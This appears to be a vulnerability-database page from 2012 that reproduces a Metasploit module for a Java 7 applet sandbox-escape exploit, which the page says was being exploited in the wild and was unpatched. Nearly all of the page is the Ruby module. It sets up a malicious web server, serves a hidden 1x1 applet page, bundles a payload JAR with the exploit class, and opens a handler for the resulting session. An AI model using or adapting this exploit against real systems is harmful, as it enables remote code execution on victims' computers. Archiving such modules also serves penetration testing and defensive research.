Java 7 Applet Remote Code Execution

🗓️ 28 Aug 2012 00:00:00Reported by jduckType

packetstorm🔗 packetstormsecurity.com👁 17 Views

Java 7 Applet Remote Code Execution vulnerability allows attacker to run arbitrary Java code outside the sandbox. No patch from Oracle. Successfully tested on IE, Firefox, Chrome, Safari on Windows, Linux, OS X.

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
super( update_info( info,  
'Name' => 'Java 7 Applet Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in Java 7, which allows an attacker to run  
arbitrary Java code outside the sandbox. The vulnerability seems to be related to  
the use of the newly introduced ClassFinder#resolveClass in Java 7, which allows  
the sun.awt.SunToolkit class to be loaded and modified. Please note this flaw is  
also being exploited in the wild, and there is no patch from Oracle at this point.  
Our module has been successfully tested on multiple setups, including: IE, Firefox,  
Chrome and Safari on Windows, Linux and OS X, etc.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability Discovery  
'jduck', # metasploit module  
'sinn3r', # metasploit module  
'juan vazquez', # metasploit module  
],  
'References' =>  
[  
#[ 'CVE', '' ],  
#[ 'OSVDB', '' ],  
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],  
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],  
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],  
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]  
],  
'Platform' => [ 'java', 'win', 'linux' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 26 2012'  
))  
end  
  
  
def on_request_uri( cli, request )  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect(cli, get_resource() + '/', '')  
return  
end  
  
print_status("#{self.name} handling request")  
  
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )  
return  
end  
  
paths = [  
[ "Exploit.class" ]  
]  
  
p = regenerate_payload(cli)  
  
jar = p.encoded_jar  
paths.each do |path|  
1.upto(path.length - 1) do |idx|  
full = path[0,idx].join("/") + "/"  
if !(jar.entries.map{|e|e.name}.include?(full))  
jar.add_file(full, '')  
end  
end  
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb")  
data = fd.read(fd.stat.size)  
jar.add_file(path.join("/"), data)  
fd.close  
end  
  
print_status("Sending Applet.jar")  
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
end  
  
def generate_html  
html = "<html><head></head>"  
html += "<body>"  
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"  
html += "</applet></body></html>"  
return html  
end  
  
end  
`

28 Aug 2012 00:00Current

0.3Low risk

Vulners AI Score0.3

java oracle security